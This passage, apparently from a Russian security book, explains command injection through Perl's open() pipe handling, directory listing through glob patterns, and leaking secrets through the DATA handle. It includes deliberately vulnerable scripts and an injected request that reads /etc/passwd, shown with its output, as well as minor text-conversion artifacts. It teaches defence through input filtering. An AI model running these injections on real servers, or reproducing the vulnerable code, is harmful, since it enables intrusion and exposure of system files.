Выбрать главу

С рассмотрения одной из них и началась эта глава (передача почтальону SendMail адреса, введенного пользователем). Разработчики часто используют вызов внешних программ для выполнения тех действий, реализовывать которые в самом скрипте было бы невозможно или чрезвычайно затруднительно. Опасность такого подхода заключается в том, что практически любое приложение обладает рядом недокументированных особенностей, и порой способно к непредсказуемому поведению. А это может быть использовано для проникновения на компьютер жертвы или его блокирования.

Если же полностью отказаться от использования внешних программ невозможно, рекомендуется выполнять фильтрацию ввода пользователя - до передачи данных внешней программе проанализировать их содержимое, проверяя корректность ввода пользователя. Фильтрацию желательно осуществлять во всех случаях, и контролировать все данные, даже никак не связанные с пользователем. Любые данные должны быть тщательно проверены до того, как они будут использованы. Очень распространенная ошибка - вызов служебной подпрограммы, оформленной в виде отдельного скрипта с передачей аргументов в командной строке. Многие разработчики склонны полагать, что такой скрипт всегда вызывается только их кодом, и забывают о проверке параметров.

Если таким образом попытаться открыть (и прочитать) файл, переданный как параметр, злоумышленник сможет выполнить любой код на сервере, от имени уязвимой программы. Причина заключается в том, что функция “open” языка Perl (на котором написано подавляющее большинство скриптов) интерпретирует символ “|” как конвейер и позволяет выполнить любую команду. Например, “open(H,”File |”)”, приведет к запуску, а не открытию файла “File”.

Вышесказанное демонстрирует фрагмент кода, приведенный ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/open.pl”):

· open(FX,"$file"); · while («FX») · { · print; ·}

Если значение переменной “$file” передается в командной строке (или через переменные окружения), злоумышленник получает возможность изменять его по своему усмотрению! Для проведения экспериментов можно воспользоваться следующим HTML-кодом, который размещен на сервере http://hpnc.webprovider.com/open.htm

· «html» · · «head» · «title»OPEN's Demo«/title» · «/head» · · «body» · «H1»«CENTER»OPEN's Demo«/h1»«/center» · «HR» · «div align="center"» · «form method="POST" action="open.pl"» · «br»Enter file name or "command |"«br»«br» · «input type="text" size="60" maxlength="200" name="file" value="echo Hello,Sailor! |"» · «input type="submit" value="Exec"» · «/form» · «/div» · «HR» · «/body» · · «/html»

Если в качестве имени файла указать “echo Hello,Sailor! |”, спустя мгновение приветствие «Hello, Sailor» отобразится в окне браузера, подтверждая своим появлением успешность выполнения команды “echo”.

А для просмотра содержимого корневого каталога достаточно ввести команду “ls * |”, результат работы которой может выглядеть, например, так:

· apache

· bin

· boot

· cdrom

· dev

· disk1

· etc

· floppy

· home

· httpd

· usr

Узнать, какие файлы и подкаталоги находятся в директории “/bin” (в тексте ее имя выделено жирным шрифтом), можно с помощью следующей команды: “ls /bin/* |”, результат работы которой показан ниже:

· ae arch bash buildh cat

· chgrp chmod chown chsh cp

· cpio cptar cptar~ csh date

· dbish dd df dir dmesg

· echo ed egrep false fdflush

· fgrep fuser grep gsu gunzip

· gzip hostname htp2ftp.pl htp2ftp.pl~ httpd

· i8sql kill ksh ln loadkeys

· login ls mkdir mknod mktemp

· more mount mt mv netstat

· pico ping ps pwd rbash

· rm rmdir rsh run-parts sed

· setserial sh sleep stty su

· sync tar tcsh tempfile texhash

· true umount uname uncompress vdir

· vi vworld xem xem~ zcat

Любой их этих файлов может быть запущен аналогичным способом. Так, например, утилита “more” (ее имя выделено жирным шрифтом) позволяет просмотреть содержимое файла “/etc/passwd”, или любого другого файла указанного в командной строке. Это может выглядеть так:

· GET open.pl?more%20/etc/passwd%20|

·:::::::::::::: /etc/passwd::::::::::::::

· root:x:0:0:root:/root:/bin/bash

· daemon:x:1:1:daemon:/usr/sbin:/bin/sh

· bin:x:2:2:bin:/bin:/bin/sh

· sys:x:3:3:sys:/dev:/bin/sh

· sync:x:4:100:sync:/bin:/bin/sync

· games:x:5:100:games:/usr/games:/bin/sh

· man:x:6:100:man:/var/catman:/bin/sh

· lp:x:7:7:lp:/var/spool/lpd:/bin/sh

· maiclass="underline" x:8:8:maiclass="underline" /var/spool/maiclass="underline" /bin/sh

· news:x:9:9:news:/var/spool/news:/bin/sh

· uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

· proxy:x:13:13:proxy:/bin:/bin/sh

·…

Врезка «информация» *

В конце 1997 года ошибка фильтрации ввода (а точнее, ее полное отсутствие) была обнаружена в… знаменитой поисковой машине “Excite”. Таким образом, потенциально уязвимым можно считать любой сервер в сети, пока не будет доказано обратное.

Другая распространенная ошибка связана с оператором чтения из файла “«»” языка Perl, в угловых скобках которого заключается файловый манипулятор [297] (в листинге он выделен жирным шрифтом).

Например:

· open( F ,"$file"); · while (« F ») · { · print; ·}

Но что произойдет, если вместо манипулятора задать маску файла? В документации к Perl сказано, такая конструкция выведет содержимое указанной директории согласно маске (в листинге она выделена жирным шрифтом). Такую ситуацию позволяет продемонстрировать фрагмент кода, приведенный ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/dir.pl”):

· while (« *.pl ») · { · print; · print "\n"; ·} · bomb.pl · dir.pl · hack.pl · hello.pl · iis4_ml.pl · nntp.pl · nntp_post.pl · open.pl · post.pl · serv.pl · serv1.pl · sioux.pl · smtp.pl · smtp1.pl

Если найти в тексте программы место, в котором манипулятор передается аргументом командной строки или извлекается из переменной окружения, подменив его шаблоном файла, можно получить содержимое любого из каталогов сервера.

Любопытной особенностью Perl является возможность хранения данных непосредственно в тексте программы. Для этой цели используется лексема “__DATA__”. Содержащейся за ней текст может быть прочитан через файловый манипулятор “DATA”. Такой прием часто используется программистами для хранения конфигурационных настроек, служебных данных, а иногда и паролей.

Если есть возможность модификации одного из манипуляторов атакуемой программы, изменив его значение на “DATA”, можно получить содержимое скрытых данных.

Пример, приведенный ниже(на диске, прилагаемом к книге, он расположен в файле “/SRC/data.pl”), демонстрирует использование манипулятора “DATA” для доступа к приватным данным.

· while (« DATA ») · { · print; ·} · · __DATA__ · file: "mit"; · dir: "…/cfg/gbook"; · user: "Jafar"; · pass: "qwerty"; · file: "mit"; · dir: "…/cfg/gbook"; · user: "Jafar"; · pass: "qwerty";

Любопытно, но практически ни один из существующих скриптов не осуществляет фильтрации строки “DATA”, даже если активно использует эту лексему в своих целях. Действительно, перенос секретных данных, таких, например, как имена пользователей и пароли, в тело программы, значительно снижает риск попадания этой информации в руки злоумышленника, поскольку при нормальном развитии событий клиенту возвращается результат работы скрипта, а не его содержимое.